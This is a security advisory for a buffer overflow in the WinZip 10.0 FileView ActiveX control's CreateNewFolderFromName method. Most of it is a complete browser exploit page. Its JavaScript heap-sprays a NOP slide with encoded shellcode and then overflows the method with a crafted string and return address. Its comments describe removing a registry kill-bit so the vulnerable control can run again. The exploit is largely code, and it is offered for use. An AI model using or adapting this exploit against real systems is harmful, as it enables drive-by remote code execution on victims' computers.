WinZip FileView ActiveX controls CreateNewFolderFromName Method Buffer Overflow Vulnerability
WinZip FileView ActiveX controls CreateNewFolderFromName Method Buffer Overflow
Vulnerability
------------------------------------------------------------------
SUMMARY:
A vulnerability has been identified in Winzip 10.0 Build 6667,May be other
version, which could be exploited by remote or local attackers to execute
arbitrary commands.
The first flaw is due to errors in the "WZFILEVIEW.FileViewCtrl.61" ActiveX
control that does not validate input passed to CreateNewFolderFromName methods.
----------
DETAILS:
Vulnerable systems: Winzip 10.0 Build 6667 and probable others
Exploit:
</body>
</html>
<head>
<object classid="clsid:{A09AE68F-B14D-43ED-B713-BA413F034904}" id="winzip">
</object>
</head>
<body>
<SCRIPT language="javascript">
/*
---===[ winzip-exploit.html
Xiao Hui : 76693223[at]163.com
HomePage: www.nipc.org.cn
(c) 2006 All rights reserved.
note:Because of the prior vuln in FileView ActiveX
Control,Micorsoft has disabled this ActiveX Controls,
To test this vuln,You can delete the key:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet
Explorer\ActiveX Compatibility\{A09AE68F-B14D-43ED-B713-BA413F034904}]
"Compatibility Flags"=dword:00000400
I have test the exploit on Windows 2000+sp4(CN) and Windows xp+sp2(CN)
and Winzip 10.0(6667),you can try other version,goodluck~
]===---
*/
var heapSprayToAddress = 0x0d0d0d0d;
var payLoadCode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
var xh = 'A';
while (xh.length < 231) xh+='A';
xh+="\x0d\x0d\x0d\x0d";
winzip.CreateNewFolderFromName(xh);
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</script>
</body>
</html>
------------------------------------------
Xiao Hui
Team:NCNIPC
HomePage:www.nipc.org.cn